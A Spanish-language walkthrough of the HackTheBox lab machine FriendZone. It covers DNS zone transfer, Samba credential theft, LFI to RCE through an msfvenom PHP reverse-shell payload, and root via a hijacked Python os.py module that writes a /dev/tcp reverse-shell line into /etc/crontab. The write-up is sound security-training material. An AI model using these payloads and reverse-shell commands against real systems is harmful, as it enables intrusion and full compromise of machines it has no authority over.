Skip to content

FriendZone Machine

FriendZone Machine - Walkthrough

Descripción

FriendZone es una máquina Linux de ** dificultad fácil**, que requiere una buena enumeración.

Resumen del proceso:

  1. ** descubrimiento de subdominios**mediante transferencia de zona DNS.
  2. Enumeración de servicios, especialmente ** samba**, para extraer credenciales.
  3. Exploración de una vulnerabilidad LFI, que nos permite conseguir RCE.
  4. Escalada de privilegios mediante CRON, explotando un módulo Python escribible.

Enumeración

Escaneo inicial con Nmap

Iniciamos con un escaneo de todos los puertos TCP:

Terminal window
sudo nmap -sS -sV -e tun0 -p- -Pn 10.10.10.123

Resultado:

Terminal window
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
443/tcp open ssl/http Apache httpd 2.4.29
445/tcp open netbios-ssn Samba smbd 3.X - 4.X

Para obtener más información, lanzamos un nuevo escaneo más detallado:

Terminal window
nmap -sC -sV -p21,22,53,80,139,443,445 -Pn -e tun0 10.10.10.123

Este escaneo revela el dominio friendzone.red y un servidor Samba.

🌐 Enumeración de DNS

En la web principal encontramos un email, lo que nos da una pista sobre posibles dominios.
Añadimos los siguientes registros al archivo /etc/hosts:

10.10.10.123 friendzoneportal.red
10.10.10.123 friendzone.red

Usamos ** dig** para buscar registros:

Terminal window
dig axfr friendzone.red @10.10.10.123

Este comando nos devuelve varios ** subdominios**:

  • administrator1.friendzone.red
  • hr.friendzone.red
  • uploads.friendzone.red

Nos centraremos en administrator1.friendzone.red, que parece un ** panel de administración**.

Enumeración de Samba

Lanzamos el siguiente comando para descubrir comparticiones en Samba:

Terminal window
smbmap -H 10.10.10.123

Se detectan varias carpetas:

  • print$
  • Files
  • general
  • Development
  • IPC$

**La carpeta “Development” tiene permisos de escritura.Esto nos permitirá ** subir archivos maliciosos.

Descargamos un archivo interesante:

Terminal window
smbmap -H 10.10.10.123 --download "general/creds.txt"

Dentro encontramos credenciales de acceso al ** panel de administrador**.

Acceso al panel de administración

Ingresamos en administrator1.friendzone.red con las credenciales obtenidas de Samba.

El panel tiene dos parámetros:

  • Uno para cargar imágenes.
  • Otro para incluir páginas dentro de la principal.

Al probar diferentes valores, encontramos una vulnerabilidad LFI (Local File Inclusion).

Explotando LFI para RCE

Subimos un ** payload en PHPa la carpeta ** developmenta través de Samba.

Terminal window
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=9001 -f raw > shell.php

Ejecutamos el payload accediendo a:

http://friendzoneportal.red/etc/Development/shell.php

Desde Metasploit, configuramos el multi-handler para recibir la conexión:

Terminal window
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 9001
run

Recibimos la shell reversa con éxito.

Escalada de Privilegios

El enunciado mencionaba CRON, así que investigamos procesos en ejecución. Usamos ** pspy** para analizar los procesos del sistema:

Terminal window
./pspy64

Vemos que un ** script en Python**es ejecutado por CRON con permisos root.

Terminal window
/usr/bin/python3 script.py

Sin embargo, no podemos modificar el script, pero sí podemos editar la librería os.py.

Explotación

Creamos un archivo os.py malicioso:

mycodigo = """
sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
"""
archivo = open('/etc/crontab', 'a')
archivo.write(mycodigo)
archivo.close()

Lo subimos mediante Samba y lo copiamos sobre la librería original os.py.

Abrimos un listener en nuestro equipo:

Terminal window
nc -lvnp 9001

Cuando CRON ejecuta el script, nos llega una shell con privilegios de root.

¡Máquina Pwned!

✅ Hemos explotado:

  1. Enumeración DNS y transferencia de zona.
  2. Explotación de Samba para extraer credenciales.
  3. LFI para obtener ejecución remota de código (RCE).
  4. Escalada de privilegios con CRON hijacking.

Referencia en HackTheBox: HackTheBox FriendZone Machine